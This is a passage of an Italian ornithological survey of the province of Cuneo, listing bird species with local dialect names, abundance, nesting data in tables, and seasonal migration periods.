settentrionale della provincia, è ricoperta di terre vegetali assai produttive, ed è popolata in gran numero di gelsi ed alberi fruttiferi che ne formano uno dei principali redditi. **Elenco generale delle specie di uccelli osservate nella provincia di Cuneo, coi nomi volgari locali ed indicazioni di frequenza, di ubicazione, quali sono sedentarie e quali erratiche.** *Corvus Corax*, *Crouas*, *Cournajas real*. Scarso ai monti, sedentario. *Corvus Corone*, *Cro*, *Cournajas*. Frequente ai monti, d'inverno al piano, erratica. *Corvus Cornix*, *Cournajas gris*, *Croos bianch*. Frequente ai monti, d'inverno al piano, erratica. *Corvus frugilegus*, *Cro*, *Cournajas*. Frequente d'inverno. *Lycos Monedula*, *Cournajas picit*. Scarsa. (Finora un solo esemplare mi è capitato). *Nucifraga Caryocatactes*, *Bert franseis*, *Verrou*. Scarsa ai monti, sedentaria. *Pica rustica*, *Berta*, *Ajassa*. Frequente al piano, sedentaria. *Garrulus glandarius*, *Gaj*, *Bert*, *Ghè*. Frequente ovunque, sedentaria. *Pyrrhocorax alpinus*, *Gioja*, *Cioja del bech giaun*. Frequente ai monti, sedentario. *Pyrrhocorax Graculus*, *Gioja*, *Cioja del bech rouss*. Frequente ai monti, sedentario. *Sturnus vulgaris*, *Stourn*, *Stournel*. Frequente al piano. *Pastor roseus*, *Stournel d'mariña*. Scarso al piano. Fringilla cœlebs, Pinsoun, Frangouei, Cincin. Frequent ovunque, sedentario. Fringilla Montifringilla, Mountan, Mountanel. Frequent ai monti, d'inverno al piano. Montifringilla nivalis, Franguel dla fiocca, Arpan, Nevareul. Scarso ai monti, sedentario. Petronia stulta, Passra marenga, o d'mountagna. Frequent. Passer montanus, Passarot di sales, o d'rasa peita, Miarola. Frequent al piano, sedentaria. Passer Italiæ, Passarot doumesti o d'rasa grossa. Frequent al piano, sedentaria. Coccothraustes vulgaris, Fruson, Bech dur. Frequent ai monti e al piano. Ligurinus Chloris, Verdoun. Frequent al piano ed ai monti, sedentario. Chloroptila Citrinella, Canarin d'mountagna. Scarso ai monti, sedentario. Chrysomitris Spinus, Tarin, Virafeuje, Lucarin. Frequent ovunque, erratico. Carduelis elegans, Cardlin, Ciardoulina. Frequent ovunque, sedentario. Serinus hortulanus, Sirin, Serin. Scarso ai monti. Cannabina Linota, Fanel, Fanét. Frequent ai monti e al piano. Ægiothus Linarius, Tarin, Tarin d'mar. Scarso ai monti. Ægiothus rufescens, Tarin d'mar peit. Scarso ai monti. Pyrrhula europæa, Cifonlot, Ciuffoulot. Scarso ai monti, erratico. Loxia Curvirostra, Bech an crous, Bech stort. Scarso ai monti ed al piano. Miliaria Projer, Predicatour, Ambroun, Cantaris. Scarso ai monti. Emberiza Citrinella, Ambra, Giauné, Pajarina. Frequent ovunque, erratico. Emberiza Cirlus, Zisi, Barbisa, Trasola grisa. Scarso ai monti. Emberiza Hortulana, Ourtoulan, Trasola. Frequent ovunque. Emberiza Cia, Barbisa, Fanin, Zia. Frequent ai monti. Emberiza pusilla. Accidentale. Emberiza Schoeniclus, Passra d'lesca, Scrivañ. Frequent al piano. Calcarius nivalis, Ourtoulan bianch, Ambra dla fiocca. Scarso. Alauda arborea, Loudoulina, Loudnin, Subiarola. Frequent ovunque. Alauda arvensis, Lodna, Lodoula, Traciola. Frequent al piano. Galerita cristata, Lodoula, Traciola, Cioufù. Frequent al piano. Agrodroma campestris, Stroubionn, Piourousa. Scarso ai monti. Anthus pratensis, Vainetta, Ouvina, Grassetta. Frequent ovunque. Anthus trivialis, Vainetta, Ouvina, Grassetta. Frequent ovunque. Anthus Spipoletta, Vainetta, Grassetta du eva. Frequent ai monti, d'inverno al piano. Budytes flavus, Balarina, Bouarina. Frequent al piano. Budytes cinereocapillus, Balarina, Bouarina. Scarsa al piano. Motacilla alba, Balarina, Fournera. Frequent al piano, sedentaria. Calobates melanope, Balarina, Bouarina. Frequent al piano. Saxicola Oenantihe, Cul bianch, Picamoute. Scarso ai monti. Saxicola Stapazina, Cul bianch d'mountagna. Assai scarsa ai monti. Monticola saxatilis, Passra soulitaria roussa, Roussigneul. Scarso ai monti. Monticola Cyanus, Passra soulitaria bleu. Scarsa ai monti. Merula nigra, Merlou. Frequent ovunque e sedentario. Merula torquata, Griva savojarda, Ciach-ciach. Scarso ai monti, sedentario. Turdus pilaris, Griva d'mountagna, Ciaciara. Frequent ai monti ed al piano, d'inverno. Turdus iliacus, Tourd subioulin, Subiot, Tourd chilour. Frequent d'inverno. Turdus musicus, Tourd, Griva del geneiver. Frequent. Turdus viscivorus, Griva, Grivass. Frequent al piano, sedentaria. Aëdon Luscinia, Arsineul, Ransigneul. Frequent al piano. Erithacus Rubecula, Piciourouss, Petrouss. Frequent ai monti, erratico. Cyanacula Wolfi, Stomi bleu, Icét dla steila. Scarso ai monti. Ruticilla Phœnicurus, Cul rouss, Cuvaroussa. Frequent ai monti. Ruticilla titys, Cuvaroussa, Bouciard, Piroulét. Scarso ai monti. Pratincola Rubicola, Pounta d'melia, Pitamoutas. Frequent ovunque. Pratincola Rubetra, Pounta d'melia, Pitamoutas. Frequent ovunque. Sylvia orphæa, Capneir d'mountagna o gross. Scarso ai monti. Sylvia cinerea, Canavrota, Bianchet. Frequent ovunque. Sylvia Curruca, Canavirola, Canavrota di busson. Scarsa. Monachus Atricapillus, Capneir. Frequent al piano. Monachus hortensis, Canavrota, Canavirola. Frequent al piano. Phylloscopus sibilator, Cincin verd. Frequent ovunque. Phylloscopus Trochilus, Cincin giaun. Frequent ovunque. Phylloscopus Bonellii, Cincin bianch. Scarso. Phylloscopus rufus, Cincin peit. Frequent ovunque. Hypolais icterina, Ciancin, Cincin. Scarso al piano. Acrocephalus palustris, Ransigneul dle cane peit. Scarsa al piano. Acrocephalus arundinaceus, Ransigneul dle cane, Re di Ran- signeui. Scarso al piano. Potamodus luscinioides, Lescariña, Pajarola. Scarsa al piano. Troglodytes parvulus, Re peit, Re cucala. Frequent ai monti. erratico. Cinclus aquaticus, Merlon da eva, Piuumba. Frequent ed er- ratico. Accentor collaris, Fola, Boulou, Folariga. Frequent ai mon- ti, sedentario. Accentor modularis, Mouretta, Grisareul, Vitounetta. Frequent ovunque, erratica. Regulus cristatus, Steila d'or, Regiña. Frequent ai monti, d'inverno al piano, erratico. Regulus ignicapillus, Steila d'or, Regiña. Frequent ai monti, d'inverno al piano, erratico. Ægithalus pendulinus, Taschet, Boursalin, Fiaschet. Scarso al piano. Acredula caudata, Tupinet, Couva lounga. Manicujè. Scarsa ai monti, erratica. Acredula rosea, Tupinet, Couva lounga, Manicujè. Frequent ovunque, erratica. Panurus biarmicus. Scarso al piano. Parus major, Testa neira, Ciribibì, Pitavia grossa. Frequent ovunque, sedentaria. Parus ater, Testa neira, Pitavia mora. Scarsa ai monti, erratica. Cyanistes caeruleus, Parussiña, Testa bleu. Frequent ovunque. Pœcile palustris, Testa neira, Fratin, Nonetta. Scarsa al piano. Sitta cæsia, Pichét, Pich murau, Picatoun. Frequent ovunque, sedentario. Certhia familiaris, Rampignet, Picatin, Rampighin. Scarso ai monti, sedentario. Certhia brachydactyla, Rampignet, Picatin, Rampighin. Frequent al piano, sedentario. Tichodroma muraria, Parpajoun, Pich illa mort, Picatin di bauss. Frequent ai monti, erratico. Oriolus Galbula, Ourieul, Garbé. Frequent al piano. Ampelis Garrulus, Dourin. Accidentale. Lanius Excubitor, Gabiosna farchêta o d' passage. Scarsa al piano. Lanius minor, Dergna, Gabiosna mesaña. Frequent al piano. Lanius Collurio, Gabiosna bussonera. Frequent al piano. Lanius auriculatus, Gabinurna, Gabiosna roussa. Frequent al piano. Muscicapa collaris, Becafigh, Cicheich. Scarsa ai monti. Muscicapa Atricapilla, Becafigh, Cicheich. Scarsa ai monti. Butalis Grisola, Cicheich. Scarso al piano. Hirundo rustica, Roundoula, Roundaniña, Rioundoula. Frequent al piano. Chelidon urbica, Roundaniña, Cul bianch. Frequent al piano. Clivicola riparia, Martlin, Culbianch d'eva. Frequent al piano. Cotile rupestris, Roundanina d' mountagna, Rioundula dle roche. Frequent ai monti. Cypselus Apus, Pivi. Frequent al piano. Cypselus Melba, Re di Pivi, Pivi di bauss. Frequent ai monti. Caprimulgus europaeus, Carcababi, Carcateppe, Volababi. Scarso al piano. Dryocopus martius. Pich neir, Pich d' mountagna. Scarso ai monti, sedentario. Picus major, Picardela, Pich-gaj. Frequent ovunque, sedentario. Picus minor, Pichét d' mountagna, Pich-peit. Frequent ai monti, sedentario. Gecinus viridis, Picass, Picatass. Frequent al piano, sedentario. Ilynx Torquilla, Torsacol, Storsacol. Frequent al piano. Cuculus canorus, Coucou, Coucú. Frequent ovunque. Alcedo Ispida, Sereña, Pioumbin. Frequent al piano. sedentario. Coracias Garrula, Ghé d' marína. Scarsa al piano. Merops Apiaster, Rocaireul, Sereña di prà, Ghepié. Scarso al piano. Upupa Epopis, Poupoú, Poupoula, Puta. Frequent al piano ed ai monti. Strix flammea, Crivela, Dama, Dona. Frequent ovunque, sedentario. Syrnium Aluco, Cious, Cravé, Ciabriér. Frequent ai monti, sedentario. Asio Otus, Ciouch d' mountagna, Mesdúch. Scarso ai monti, erratico. Asio accipitrinus, Sivitouloun, Ganavel di fau. Scarso ai monti. Athene Noctua, Sivitoula, Crivela. Frequent ovunque, sedentaria. Scops Giu, Ciouch. Frequent ovunque. Bubo maximus, Granduch, Dugoú, Diavou d' mountagna. Frequent ai monti, d'inverno al piano; erratico. Circus aeruginosus, Farcoun dla testa bianca. Scarso al piano. Circus cyaneus, Falch d San Martin. Scarsa al piano. Circus cineraceus. Scarsa al piano. Pandion Haliaëtus, Acula pescoira, Acula bianca. Scarso al piano. Circaëtus gallicus, Aculota, Poundrà bianca. Scarso al piano. Haliaëtus Albicilla, Acula roussa o dla couva bianca. Accidentale. Aquila Chrysaëtus, Acula real, Aigia. Frequente ai monti, sedentaria. Aquila pomarina, Acula. Scarsa al piano. Archibuteo lagopus. Scarsa al piano. Buteo vulgaris, Poundrä, Falcoun. Frequente ovunque, erratica. Pernis apivorus, Poundrà, Poundrà grossa. Frequent in certe annate, scarso in altre; al piano. Milvus Ictinus, Falcoun dla couva fourcua. Scarso. Falco Peregrinus, Farchet da pernis. Frequent ai monti, erratico. Hypotriorchis Subbuteo, Farchet di giari o raté. Scarso. Æsalon regulus, Farchet dle passre o d' mountagna. Scarso ai monti. Cerchneis Tinnunculus, Crivela. Frequent ovunque e sedentario. Cerchneis Naumanni, Crivela. Scarso al piano. Cerchneis vespertinus, Farchet dle causse rousse, Ouslé. Scarsa. Astur palumbarius, Farchtonn, Capastr. Frequent ai monti, sedentario. Accipiter Nisus, Farchet, Sparavé. Frequent ovunque, erratico. Gypaëtus barbatus. Scarsa ai monti. Phalacrocorax Carbo. Scarso al piano. Microcarbo pygmaeus. Accidentale. Ardea cinerea, Airoun, Neiroun. Scarso al piano. Ardea purpurea, Airoun, Neiroun. Scarso al piano. Egretta alba, Airoun, Leiroun bianch. Scarsa al piano. Egretta Garzetta, Airoun, Leiroun bianch. Scarsa al piano. Ardeola ralloïdes, Airoun giaun peit. Scarsa al piano. Ardetta minuta, Tus, Sgourgétta. Scarso al piano. Botaurus stellaris, Troumboun, Leiroun. Scarso al piano. Nycticorax griseus, Leiroun dla piuma. Scarso al piano. Ciconia alba, Sicogna, Cicogna. Accidentale. Ciconia nigra, Sicogna, Cicogna. Accidentale. Platalea Leucorodia. Accidentale. Plegadis Falcinellus. Raro al piano. Cygnus musicus, Cin, Cign. Assai raro al piano. Anser segetum, Oca sarvaja. Scarsa al piano. Anas Boscas, Ania sarvaja, Colverd. Frequent al piano. Chaulelasmus streperus, Ania. Scarsa al piano. Spatula clypeata, Colverd, Cassul. Scarso al piano. Dafila acuta, Ania sarvaja dla couva longa. Scarso al piano. Mareca Penelope, Ania, Col rouss. Scarso al piano. Nettion Crecca, Ania greca, Gargot. Frequent al piano. Querquedula Circia, Saslot, Gargot, Garganel. Scarsa al piano. Fulix ferina. Scarso al piano. Fulix Fuligula. Scarsa al piano. Fulix Nyroca. Scarsa. Bucephala Clangula. Scarso. Mergus Merganser. Scarso. Mergellus Albellus. Scarsa. Columba Palumbus, Couloumb sarvaj o favè. Frequent al piano. Columba Oenas, Coulumb tourer o toré. Frequent ovunque. Columba livia. Scarso ai monti. Turtur tenera, Tourtoura, Tourtoula. Frequent ovunque. Perdix rufa, Pernis roussa, Bertavela. Frequent ovunque, sedentaria. Perdix saxatilis, Pernis gaja, Couloumbaña. Frequent ai monti, sedentaria. Starna Perdix, Pernis grisa, Tariga. Frequent ai monti ed al piano, sedentaria. Coturnix communis, Quaja, Caja. Frequent ovunque. Lyrurus Tetrix, Fasan, Fasan d'mountagna. Scarso ai monti, sedentario. Lagopus mutus, Calavria, Calabria, Pernis bianca. Frequent ai monti, sedentario. Rallus aquaticus, Raj, Ral. Frequent al piano. Ortygometra Porzana, Gilardiña, Girardiña. Scarso al piano. Ortygometra Bailloni, Girardiña peita. Scarsa. Ortygometra parva, Girardiña peita. Scarsa. Crex pratensis, Re da quaje, Re dle caje. Scarso. Gallinula chloropus, Poula da eva. Scarsa. Fulica atra, Folaga, Poula ciapiña, Scarsa. Grus communis, Grua, Gru. Scarsa. Otis Tarda. Accidentale. Otis Tetra x. Accidentale. Edicenemus scolopax, Gambalevrot, Gambalevret. Frequent al piano. Charadrius Pluvialis, Piviè doré, Piviè real. Frequent al piano. Squatarola helvetica, Piviè, Piviè doré. Scarsa al piano. Vanellus Capella, Piviè dominican, Vanetta. Piuttosto scarsa al piano. Himantopus candidus, Cavajer lounbard. Scarso. Pelidna subarquata. Scarso. Actodromas minuta. Scarso. Machetes Pugnax, Becassot, Cavajer, Scarsa. Tringoïdes Hypoleucus, Balota. Frequent al piano. Totanus Ochropus, Becassin, Culbianch, Pionravej, Pionravela. Scarso al piano. Totanus Glareola, Becassin. Scarso. Totanus stagnatilis, Becassin gambe lounghe. Scarsa. Totanus Calidris, Tutù, Fouloun. Scarsa. Totanus Fuscus, Cravetta. Scarso. Limosa melanura, Subiareul, Gambe lounghe. Scarsa. Limosa rufa, Subiareul, Gambe lounghe. Accidentale. Scolopax Rusticula, Becassa. Frequent ai monti ed al piano. Gallinago major, Loumbarda. Scarso al piano. Gallinago caelestis, Becassetta, Becassin. Frequent al piano. Gallinago Gallinula, Becassin, Voulet. Scarso al piano. Numenius Arquata, Becasson gross. Scarso. Numenius Phæopus, Becassounot gris peit. Scarso. Thalasseus cantiacus. Accidentale. Sterna fluviatilis, Péscarin, Scanapés. Scarsa. Sternula minuta, Péscarin, Sgarín. Scarsa al piano. Hydrochelidon leucoptera, Coucai, Mounietta. Scarso. Hydrochelidon nigra, Coucai, Mounietta. Scarsa. Chroocephalus minutus, Ochetta, Mulinè. Scarso. Chroocephalus ridibundus, Ochetta, Mulinè. Non frequente. Rissa tridactyla. Scarso. Stercorarius pomatorhinus. Accidentale. Stercorarius crepidatus. Accidentale. Stercorarius parasiticus. Accidentale. Puffinus Kuhli. Accidentale. Colymbus glacialis. Rara assai. Colymbus septentrionalis. Rara. Podiceps cristatus. Scarsó. Podiceps nigricollis. Scarso. Podiceps fluviatilis, Pioumbin, Toumboulot. Frequente al piano, sedentario. | N. delle covate | Epoca di ogni singola covata | Di quante uova consiste | Durata dell'incubazione (giorni) | Se vi prende parte anche il maschio | |-----------------|-------------------------------|-------------------------|----------------------------------|-----------------------------------| | Corvus Corax. | marzo | 4 a 6 | 18 a 20 | M. e F. | | Corvus Corone. | aprile | 4 a 5 | 15 a 18 | id. | | Corvus Cornix. | aprile | 3 a 4 | 15 a 18 | id. | | Nucifraga Caryocatactes. | mar. mag. | 3 a 4 | 16 a 18 | id. | | Pica rustica. | mar. mag. | 3 a 6 | 16 a 18 | id. | | Garrulus glandarius. | apr. giug. | 5 a 7 | 16 a 18 | id. | | Pyrrhocorax alpinus. | maggio | 3 a 4 | 18 a 20 | id. | | Pyrrhocorax Graculus. | maggio | 3 a 4 | 18 a 20 | id. | | Sturnus vulgaris. | mar. giug. | 5 a 6 | 16 a 17 | id. | | Fringilla coelebs. | apr. mag. | 3 a 4 | 14 a 16 | id. | | Fringilla Montifringilla. | maggio | 4 a 5 | 16 a 18 | id. | | Montifringilla nivalis. | maggio | 3 a 4 | 16 a 18 | id. | | Petronia stulta. | apr. giug. | 3 a 4 | 15 a 16 | id. | | Passer montanus. | apr. mag. | 4 a 6 | 12 a 14 | id. | | Passer Italiæ. | apr. giug. | 5 a 6 | 15 a 16 | id. | | Coccothraustes vulgaris. | maggio | 3 a 4 | 16 a 18 | id. | | Ligurinus Chloris. | apr. giug. | 3 a 4 | 14 a 16 | id. | | Chrysomitrís Spinus. | maggio | 3 a 4 | 16 a 18 | id. | | Carduelis elegans. | apr. giug. | 3 a 4 | 14 a 16 | id. | | Cannabina Linota. | maggio | 4 a 5 | 16 a 18 | id. | | Pyrrhula europæa. | maggio | 4 a 6 | 16 a 18 | id. | | Miliaria Projer. | maggio | 4 a 5 | 15 a 16 | id. | | Emberiza Citrinella. | mag. giug. | 4 a 5 | 16 a 18 | id. | | Emberiza Hortulana. | apr. giug. | 3 a 4 | 14 a 16 | id. | | Emberiza Cia. | maggio | 4 a 5 | 15 a 16 | id. | | Emberiza Schœniclus. | maggio | 3 a 4 | 15 a 16 | id. | | Alauda arborea. | maggio | 4 a 5 | 16 a 18 | id. | | Alauda arvensis. | mag. giug. | 3 a 4 | 14 a 16 | id. | | Galerita cristata. | apr. giug. | 4 a 5 | 14 a 16 | id. | | Anthus pratensis. | mag. giug. | 4 a 5 | 16 a 18 | id. | | Anthus trivialis. | mag. giug. | 4 a 5 | 16 a 18 | id. | | Budytes flavus. | apr. giug. | 3 a 5 | 15 a 16 | id. | | Motacilla alba. | apr. giug. | 4 a 5 | 14 a 16 | id. | | N. delle covate | Epoca di ogni singola covata | Di quante uova consiste | Durata dell'incubazione (giorni) | Se vi prende parte anche il maschio | |-----------------|-------------------------------|-------------------------|----------------------------------|-----------------------------------| | Saxicola Oenanthe. | 2 | mag. giug. | 4 a 5 | 15 a 16 | M. e F. | | Monticola saxatilis. | 1 | maggio | 4 a 5 | 16 a 17 | id. | | Monticola Cyanus. | 1 | maggio | 4 a 6 | 16 a 17 | id. | | Merula nigra. | 2 | apr. giug. | 4 a 5 | 16 a 18 | id. | | Merula torquata. | 1 | maggio | 4 a 5 | 16 a 18 | id. | | Turdus musicus. | 1 | maggio | 5 a 6 | 16 a 18 | id. | | Turdus viscivorus. | 2 | mar. mag. | 4 a 5 | 15 a 16 | id. | | Aëdon Luscinia. | 2 | mag. giug. | 4 a 5 | 15 a 16 | id. | | Erithacus Rubecula. | 2 | mag. giug. | 4 a 6 | 15 a 16 | id. | | Ruticilla Phœnicurus. | 1 | maggio | 6 a 7 | 16 a 17 | id. | | Ruticilla titys. | 1 | maggio | 4 a 5 | 16 a 17 | id. | | Pratincola Rubicola. | 2 | mag. giug. | 5 a 6 | 15 a 16 | id. | | Pratincola Rubetra. | 2 | mag. giug. | 5 a 6 | 15 a 16 | id. | | Sylvia orphæa. | 1 | maggio | 4 a 5 | 16 a 18 | id. | | Sylvia cinerea. | 2 | mag. giug. | 5 a 6 | 15 a 16 | id. | | Monachus Atricapillus. | 2 | mag. giug. | 4 a 5 | 14 a 16 | id. | | Monachus hortensis. | 2 | mag. giug. | 4 a 5 | 14 a 15 | id. | | Phylloscopus sibilator. | 1 | maggio | 4 a 5 | 14 a 15 | id. | | Phylloscopus Trochilus. | 1 | maggio | 4 a 6 | 14 a 16 | id. | | Phylloscopus Bonellii. | 1 | maggio | 4 a 5 | 14 a 16 | id. | | Phylloscopus rufus. | 2 | mag. lug. | 4 a 5 | 15 a 16 | id. | | Hypolais icterina. | 2 | mag. giug. | 4 a 5 | 15 a 16 | id. | | Acrocephalus palustris. | 1 | giugno | 4 a 5 | 16 a 17 | id. | | Acrocephalus arundinaceus. | 1 | maggio | 4 a 5 | 16 a 17 | id. | | Potamodus luscinioïdes?. | | | | | L'unica volta ch'io sappia fu nel 1859 che venne trovata a nidificare nella Regia tenuta di Pollenzo. | | Troglodytes parvulus. | 2 | apr. giug. | 5 a 6 | 14 a 15 | M. e F. | | Cinclus aquaticus. | 2 | apr. giug. | 4 a 6 | 16 a 18 | id. | | Accentor collaris. | 1 | maggio | 4 a 5 | 17 a 18 | id. | | Accentor modularis. | 2 | mag. giug. | 4 a 5 | 16 a 17 | id. | | Regulus cristatus. | 2 | mag. giug. | 8 a 10 | 14 a 15 | id. | | Regulus ignicapillus. | 2 | mag. giug. | 8 a 10 | 14 a 15 | id. | | Ægithalus pendulinus. | 2 | apr. giug. | 4 a 5 | 15 a 16 | id. | | Acredula rosea. | 2 | febb. apr. | 12 a 14 | 14 a 15 | id. | | Acredula caudata. | 2 | febb. apr. | 12 a 14 | 14 a 15 | id. | | Parus major. | 2 | apr. giug. | 8 a 14 | 14 a 15 | id. | | Parus ater. | 2 | apr. giug. | 6 a 8 | 14 a 15 | id. | | Cyanistes cæruleus. | 2 | apr. giug. | 10 a 14 | 14 a 15 | id. | | N. delle covate | Epoca di ogni singola covata | Di quante uova consiste | Durata dell'incubazione (giorni) | Se vi prende parte anche il maschio | |-----------------|-------------------------------|-------------------------|----------------------------------|-------------------------------------| | Poecile palustris. | 2 apr. giug. | 8 a 10 | 14 a 15 | M. e F. | | Sitta cæsia. | 1 maggio | 4 a 6 | 15 a 17 | id. | | Certhia familiaris. | 1 marzo | 5 a 10 | 15 a 18 | id. | | Certhia brachyactyla. | 1 marzo | 5 a 10 | 15 a 18 | id. | | Tichodroma muraria. | 1 maggio | ignoro | ignoro | ignoro | | Oriolus Galbula. | 1 maggio | 4 a 5 | 16 a 18 | M. e F. | | Lanius minor. | 1 giugno | 4 a 5 | 15 a 16 | id. | | Lanius Collurio. | 1 giugno | 4 a 6 | 15 a 16 | id. | | Lanius auriculatus. | 1 giugno | 4 a 5 | 15 a 16 | id. | | Muscicapa collaris. | 1 maggio | 5 a 6 | 15 a 16 | id. | | Muscicapa Atricapilla. | 1 maggio | 5 a 6 | 15 a 16 | id. | | Butalis Grisola. | 1 maggio | 4 a 5 | 15 a 16 | id. | | Hirundo rustica. | 2 mag. giug. | 4 a 6 | 14 a 15 | id. | | Chelidon urbica. | 2 mag. giug. | 4 a 5 | 14 a 15 | id. | | Clivicola riparia. | 1 maggio | 5 a 6 | 14 a 15 | id. | | Cotile rupestris. | 1 giugno | 5 a 6 | 15 a 16 | id. | | Cypselus Apus. | 2 mag. giug. | 2 a 3 | 14 a 15 | id. | | Cypselus Melba. | 1 maggio | ignoro | ignoro | ignoro | | Caprimulgus europæus. | 1 giugno | 1 a 2 | 15 a 16 | ignoro | | Dryocopus martius. | 1 giugno | 2 a 3 | 16 a 18 | M. e F. | | Picus major. | 2 apr. giug. | 4 a 5 | 15 a 17 | id. | | Picus minor. | 1 maggio | 3 a 4 | 15 a 18 | id. | | Gecinus viridis. | 2 apr. giug. | 4 a 5 | 15 a 17 | id. | | Lynx Torquilla. | 2 apr. giug. | 4 a 8 | 15 a 17 | id. | | Cuculus canorus. | Credo una sola covata. Non mi capitano mai dei nidiacei oltre al mese di giugno. | Alcedo Ispida. | 2 apr. giug. | 3 a 4 | 15 a 16 | M. e F. | Upupa Epops. | 1 maggio | 4 a 5 | 16 a 18 | id. | Strix flammea. | 1 maggio | 4 a 6 | 16 a 18 | Sola F. | Syrnium Aluco. | 1 maggio | 2 a 3 | 16 a 18 | id. | Asio Otus. | 1 maggio | 3 a 4 | 16 a 18 | id. | Athene Noctua. | 1 maggio | 3 a 4 | 15 a 16 | id. | Scops Giu. | 1 maggio | 3 a 5 | 16 a 18 | id. | Bubo maximus. | 1 aprile | 1 a 2 | 20 a 22 | id. | Aquila Chrysaëtus. | 1 maggio | 1 a 3 | 28 a 20 | id. | Buteo vulgaris. | 1 maggio | 2 a 4 | 24 a 25 | id. | Falco Peregrinus. | 1 aprile | 3 a 4 | 18 a 20 | id. | Cerchneis Tinnunculus. | 1 aprile | 4 a 6 | 18 a 20 | id. | | N. delle covate | Epoca di ogni singola covata | Di quante uova consiste | Durata dell'incubazione (giorni) | Se vi prende parte anche il maschio | |-----------------|-------------------------------|-------------------------|----------------------------------|-------------------------------------| | Astur palumbarius. | 1 | maggio | 3 a 4 | 19 a 20 | Sola F. | | Accipiter Nisus. | 1 | maggio | 4 a 6 | 18 a 20 | id. | | Anas Boscas. | 1 | maggio | 8 a 12 | 25 a 26 | id. | | Columba Palumbus. | 2 | mag. giug. | 1 a 2 | 16 a 18 | M. e F. | | Columba Oenas. | 2 | mag. giug. | 1 a 2 | 16 a 18 | id. | | Columba livia. | 2 | mag. giug. | 1 a 2 | 16 a 18 | id. | | Turtur tenera. | 2 | mag. giug. | 1 a 2 | 16 a 18 | id. | | Perdix rufa. | 2 | apr. giug. | 12 a 14 | 18 a 20 | Sola F. | | Perdix saxatilis. | 1 | maggio | 10 a 14 | 18 a 20 | id. | | Starna Perdix. | 2 | apr. giug. | 8 a 14 | 18 a 20 | id. | | Coturnix communis. | 2 | mag. lug. | 6 a 10 | 16 a 18 | id. | | Lyrurus Tetrix. | 1 | giugno | 6 a 10 | 18 a 20 | id. | | Lagopus mutus. | 1 | maggio | 8 a 10 | 18 a 20 | id. | | Rallus aquaticus. | 1 | maggio | 7 a 8 | ignoro | ignoro | | Œdicenmus scolopax. | 1 | giugno | 1 a 2 | 16 a 18 | M. e F. | | Tringoïdes Hypoleucus. | 1 | maggio | 4 a 5 | 15 a 16 | id. | | Totanus Ochropus. | 1 | maggio | 4 a 5 | 15 a 16 | id. | | Scolopax Rusticula. | Negli ultimi giorni di Maggio 1875 presso Sommariva-Perno (Cuneo), un contadino trovò il nido con due nidiacei e se ne impadronì menandone vanto in paese, venne dalle Guardie delle Regie caccie preso in contravvenzione e condannato quale distruttore di nidi. In allora a detto paese vi era caccia riservata per il Re. | | Sternula minuta. | 1 | maggio | 3 a 4 | ignoro | ignoro | | Podiceps fluviatilis. | 1 | maggio | 4 a 5 | ignoro | ignoro | Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Cuneo. Specie di passaggio in Primavera. Budytes cinereocapillus, 2ª quindicina aprile, 1ª maggio. Potamodus luscinioides, 1ª quindicina maggio. Merops Apiaster, 1ª quindicina maggio. Milvus Ictinus, 1ª quindicina aprile. Cerchneis vespertinus, 2ª quindicina aprile. Spatula clypeata, 1ª quindicina marzo. Querquedula Circia, 1ª quindicina marzo. Fulix Nyroca, 1ª quindicina marzo. Bucephala Clangula, 1ª quindicina marzo. Limosa melanura, 1ª e 2ª quindicina maggio. Hydrochelidon leucoptera, 2ª quindicina aprile. Hydrochelidon nigra, 2ª quindicina aprile. Specie di passaggio in Autunno. Corvus frugilegus, 1ª quindicina novembre. Serinus hortulanus, 1ª e 2ª quindicina ottobre. Ægiothus Linarius, 1ª e 2ª quindicina ottobre. Loxia Curvirostra, ottobre e novembre, ogni 5 o 6 anni. Emberiza Cirlus, 1ª quindicina novembre. Agrodroma campestris, 2ª quindicina ottobre e 1ª novembre. Anthus Spipoletta, 1ª quindicina ottobre e vi passa l'inverno. Calobates melanope, 2ª quindicina settembre. Saxicola Stapazina, 2ª quindicina settembre e 1ª ottobre. Turdus pilaris, 2ª metà novembre e parte dell'inverno. Sylvia Curruca, 2ª quindicina settembre. Lanius Excubitor, novembre e talvolta in dicembre. Circus aeruginosus, ottobre e 1ª quindicina novembre. Æsalon regulus, 2ª quindicina di settembre. Anser segetum, 2ª quindicina novembre e dicembre. Chauleasmus streperus, 1ª quindicina dicembre. Dafila acuta, 1ª quindicina dicembre. Mareca Penelope, 1ª quindicina dicembre. Nettion Crecca, 2ª quindicina ottobre. Fulix ferina, 1ª e 2ª quindicina novembre. Mergellus Albellus, 1ª quindicina dicembre. Grus communis, 2ª quindicina novembre e 1ª dicembre. Squatarola helvetica, 1ª quindicina novembre. Vanellus Capella, 1ª quindicina ottobre. Numenius Phaeopus, 2ª quindicina novembre. Sterna fluviatilis, 2ª quindicina agosto. Specie di passaggio in Primavera ed Autunno. Turdus iliacus, aprile e novembre. Cyanecula Wolfi, maggio e settembre. Asio accipitrinus, marzo e settembre. Pandion Haliaëtus, marzo e novembre. Pernis apivorus, maggio e settembre. Hypotriorchis Subbuteo, 2ª aprile e settembre. Ardea cinerea, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Ardea purpurea, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Ardeola ralloides, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Ardetta minuta, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Botaurus stellaris, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Nycticorax griseus, 2ª apr., 1ª mag., 2ª ottob. e 1ª novembre. Ciconia alba, 1ª e 2ª marzo, 2ª agosto e 1ª settembre. Ciconia nigra, 1ª e 2ª marzo, 2ª agosto e 1ª settembre. Ortygometra Porzana, aprile ed ottobre. Ortygometra Bailloni, aprile ed ottobre. Ortygometra parva, aprile e ottobre. Crex pratensis, maggio, agosto e settembre. Gallinula chloropus, aprile e novembre. Charadrius Pluvialis, aprile e novembre. Machetes Pugnax, aprile e settembre. Totanus Glareola, aprile e settembre. Totanus Calidris, aprile e settembre. Scolopax Rusticula, 2ª mar., 1ª apr., 2ª ottob. e 1ª novembre. Gallinago major, maggio ed agosto. Gallinago cælestis, aprile e settembre. Gallinago Gallinula, aprile e settembre. Numenius Arquata, maggio ed ottobre. Chroocephalus ridibundus, aprile e settembre. Elenco delle specie di uccelli da considerarsi come di apparizione accidentale nella provincia di Cuneo. Lycos Monedula. Pastor roseus. Ægiothus rufescens. Emberiza pusilla. Calcarius nivalis. Panurus biarmicus. Ampelis Garrulus. Coracias Garrula. Circus 